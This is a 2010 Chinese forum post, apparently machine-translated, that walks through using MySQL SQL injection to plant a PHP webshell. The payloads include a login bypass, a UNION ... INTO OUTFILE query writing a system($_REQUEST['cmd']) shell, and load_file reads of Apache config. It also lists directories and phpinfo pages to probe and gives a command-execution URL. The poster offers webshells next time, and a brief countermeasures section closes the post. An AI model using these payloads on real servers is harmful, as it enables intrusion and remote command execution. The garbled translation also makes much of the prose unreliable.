找回密码
 注册
查看: 3273|回复: 13

后门的网络服务器使用MySQL SQL注入

[复制链接]
发表于 2010-5-23 17:02:40 | 显示全部楼层 |阅读模式
本帖最后由 931758598 于 2010-5-23 17:04 编辑

MySQL数据库是一个伟大的产品由1000使用的网站。 .各种网络应用使用MySQL作为它们的默认数据库。.这些应用有些是书面的安全考虑,有些则不是。 .在这篇文章中,我想告诉你如何可以利用SQL注入,以获得几乎完全控制在你的网络服务器。

.大多数人都知道,SQL注入攻击者可以检索数据库的记录,通过登录屏幕,更改数据库的内容,通过建立新的管理用户。 MySQL不具有一个内置的命令来执行shell命令,如微软SQL服务器。 .我会告诉你如何运行使用MySQL提供的标准功能,通过任意的命令。

.首先,我想给出一个SQL注入的简要说明,那么我想提出一对夫妇鲜为人知的方法,在MySQL中,存在,我将使用一个网络服务器后门你。 我将用2内置的MySQL命令 - 1写入任意文件,并认为可以用来读取任意文件之一。 .从那以后,我将描述webshells和去进攻。

什么是SQL注入?
. SQL注入是一种攻击,允许攻击者增加额外的逻辑表达式和命令,以现有的SQL查询。 这种攻击能够成功每当用户提交的数据是不正确验证,并粘有一个合法的SQL查询在一起。

例如,下面的SQL命令是用来验证用户登录请求:
  1. $sql_query = "select * from users where user='$user' and password='$pass'"
复制代码
如果用户提交的数据是不正确地验证,攻击者可以利用这个查询,并通过专门工匠只需提交变量的登录屏幕。.例如,攻击者可以提交用户变量$以下数据为: 管理员'或'1'= '1。 当这个变量是$用户与查询粘在一起,它会看起来如下:
  1. $sql_query = "select * from users where user='admin' or '1'='1' and password='$pass'"
复制代码
现在,攻击者可以安全地通过登录屏幕,因为或'1'= '1'导致查询始终返回一个“真”的价值,而忽视了密码值。

.利用类似的技术,攻击者可以检索数据库中的记录,通过登录屏幕,并更改数据库内容,例如,通过创建新的管理用户。 .在这份文件中,我将展示如何运用类似的技术,我们将能够执行任意shell命令。

命令1 - 写任意文件
MySQL有一个内置的命令,可用于创建和写入系统文件。 此命令的格式如下:
  1. mysq> select "text" INTO OUTFILE "file.txt"
复制代码
此命令的一个大缺点是,它可以被附加到一个现有的查询使用UNION的SQL令牌。

例如,它可以被附加到下面的查询:
  1. select user, password from user where user="admin" and password='123'
复制代码
结果查询:
  1. select user, password from user where user="admin" and password='123' union
  2. select "text",2 into outfile "/tmp/file.txt" -- '
复制代码
作为对上述命令的结果,在/ tmp / file.txt文件将被创建,包括查询结果。
命令2 - 读任意文件
MySQL有一个内置的命令,可以用来读取任意文件。 它的语法很简单。  B .我们将利用这个 b命令计划 。
  1. mysql> select load_file("PATH_TO_FILE");
复制代码
Webshell
Webshell是polpular并广泛用于执行在Web浏览器从shell命令的工具。 .有人称之为这些工具的PHP炮弹。 我们将创建一个非常简单的webshell,将执行shell命令。

下面是执行的代码PHP的一个非常基本的外壳是将(参数通过加利福尼亚 ):
  1. <? system($_REQUEST['cmd']); ?>
复制代码
例如,在下面的截图,ID命令被执行。

                                                                   Webshell - ID命令

攻击情形
1. 1。  查找SQL注入

正是出于这一文件的范围。 你必须先找到SQL注入。

2. 查找的目录具有写权限

.要创建一个webshell PHP脚本,我们需要一个具有写权限的目录。 .由广受欢迎的内容管理系统所使用的临时目录是一个很好的选择。 检查以下网址找到

hxxp:/ / www.shuwo.org/ templates_compiled /
hxxp://www.shuwo.org/templates_c/
hxxp://www.shuwo.org/templates/
hxxp://www.shuwo.org/temporary/
hxxp://www.shuwo.org/images/
hxxp://www.shuwo.org/cache/
hxxp://www.shuwo.org/temp/
hxxp://www.shuwo.org/files/
在我们的例子中,我们将使用一个临时目录
3。  利用SQL注入-创建网络壳

您需要追加以下字符串的合法SQL命令:
  1. UNION SELECT "<? system($_REQUEST['cmd']); ?>" ,2,3,4 INTO OUTFILE " /var/www/html / temp /c.php" --
复制代码
一些解释:

2,3,4选拔赛,这次只是一个用来制作部分选择查询的相同数目的列的第一个研究。
下面/ HTML是,CentOS的)默认的web目录中的RedHat样分布(Fedora的。
temp是一个具有完全写入访问目录。 在您的情况下,它可能是一个不同的目录。
上述命令将写查询的与“<结果呢?系统($ _REQUEST数组['加利福尼亚']);?>”字符串追加。 由于我们增加了一个PHP扩展到文件的名称,这个字符串将被视为一个PHP的命令,并将使我们能够执行shell命令!

4. 执行shell命令

现在是最容易的部分。 只需打开Web服务器上执行shell命令。 它会在我们的例子是:
hxxp://www.shuwo.org//temp/c.php?cmd=SHELL_COMMAND
例如:

hxxp://www.shuwo.org//temp/c.php?cmd=id

B计划
如果你没有创建一个PHP文件,由于错误的道路,有一个变通办法号码:
1。 Generate PHP errors. 生成的PHP错误。

You need to create a situation when a PHP script will fail and the full disk path will be printed in the error message.您需要创建一个PHP脚本时,情况会失败,并且全磁盘路径将在错误信息打印出来。 You can play with page parameters to make this happen.你可以玩页面参数,使这种情况发生。

2. 找到该文件,将打印的phpinfo()。

在某些情况下,你会很幸运,你将得到一个phpinfo()函数执行。此函数打印PHP的内部信息,包括当前目录位置的财富。

尝试访问以下网址:

hxxp://www.shuwo.org/phpinfo.php
hxxp://www.shuwo.org/test.php
hxxp://www.shuwo.org/info.php
3。  寻找一个预设的网页目录的位置。

你需要获得一个默认的Web服务器的网络目录的位置。 检查下面的页面,因为它有一个大名单的Apache默认是用分布在不同的配置

http://wiki.apache.org/httpd/DistrosDefaultLayout

4。 阅读Apache配置文件。

MySQL有一个内置的命令,允许攻击者读取任意文件。 我们可以利用此命令读取Apache配置文件和目录结构的研究。 简单地使用load_file()的MySQL函数。

例如(在注射后的SQL查询):
  1. select user, password from user where user="admin123" and password='123' UNION select load_file("/etc/apache2/apache2.conf"), 2 -- '
复制代码
注意:
你可以在这个资源的Apache配置的位置:
http://wiki.apache.org/httpd/DistrosDefaultLayout
局限性
为了使上述工作,MySQL的用户应用程序使用这必须有一个文件的权限。 例如,默认情况下,一个“根”用户权限此文件 。是一种行政特权,只能获得全球( 使用 ON *.*语法)。

例如,如果MySQL用户是使用下面的命令,用户将有此权限存档
  1. GRANT ALL PERMISSIONS to *.* to 'USER_NAME'@'HOST_NAME' IDENTIFIED BY 'PASSWORD'
复制代码
对策
1. 1。 Install the GreenSQL database firewall. 安装GreenSQL数据库防火墙。

GreenSQL is an open source database firewall that can automatically block the commands described above: load_file and INTO OUTFILE . GreenSQL是一个开放源码数据库防火墙可以自动阻止上述命令:load_file并输出文件 。 By default, GreenSQL blocks administrative and sensitive SQL commands.默认情况下,GreenSQL块行政和敏感的SQL命令。 In addition, GreenSQL prevents SQL injections by calculating the risk of each query and blocking queries with high risk.此外,GreenSQL防止通过计算每个查询风险和高风险的查询阻塞SQL注入。 For example , UNION token and SQL comments are taken into account.例如, 工会令牌和SQL意见考虑在内。 Check the application website for more information http://www.greensql.net/检查应用程序的更多信息网站http://www.greensql.net/

2. 不要使用MySQL root用户访问该数据库。

不要使用管理用户访问该数据库。 .建议创建一个不同的用户权限硬化访问特定的数据库。

3.  撤销文件权限从您的应用程序中使用MySQL的用户。
  1. mysql> REVOKE FILE ON *.* from 'USER_NAME'@'HOST_NAME';
复制代码
4。  应用程序代码审查。

确保您的应用程序没有任何SQL注入,而代码更新





                   老兄们给偶要好多好多好处哦,下次送大家webshell

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?注册

×
发表于 2010-5-23 19:05:05 | 显示全部楼层
什么东西啊!
看不明白!
回复

使用道具 举报

发表于 2010-5-23 19:32:39 | 显示全部楼层
黑客技术。。。真长。。。。。。
回复

使用道具 举报

发表于 2010-5-24 06:23:02 | 显示全部楼层
不知道是不是真的    我记的有个工具叫什么啊Q注入工具
回复

使用道具 举报

 楼主| 发表于 2010-5-24 12:26:51 | 显示全部楼层
回复 4# hanghang
啊 D  v2.3注入工具
呵呵,还有很多种呢
回复

使用道具 举报

 楼主| 发表于 2010-5-24 12:27:34 | 显示全部楼层
回复 3# 羲之


    既然是搞网站的,就得稍微懂得入侵技术,知己知彼百战不殆
回复

使用道具 举报

 楼主| 发表于 2010-5-24 12:28:11 | 显示全部楼层
回复 2# huachun2008


    注入网站的方法,
回复

使用道具 举报

发表于 2010-5-24 13:43:01 | 显示全部楼层
弄个方便点的  又不可能人人是黑客阿   就象注入工具就行  方便简单
回复

使用道具 举报

发表于 2010-5-24 16:35:14 | 显示全部楼层
  有点恐怖!
回复

使用道具 举报

发表于 2010-5-24 17:22:53 | 显示全部楼层
嗯 弄个工具吧。。。。。。。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

关闭

站长推荐上一条 /1 下一条

QQ|Archiver|手机版|小黑屋|鼠窝站长论坛

GMT+8, 2024-12-27 01:43 , Processed in 0.053715 second(s), 17 queries .

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表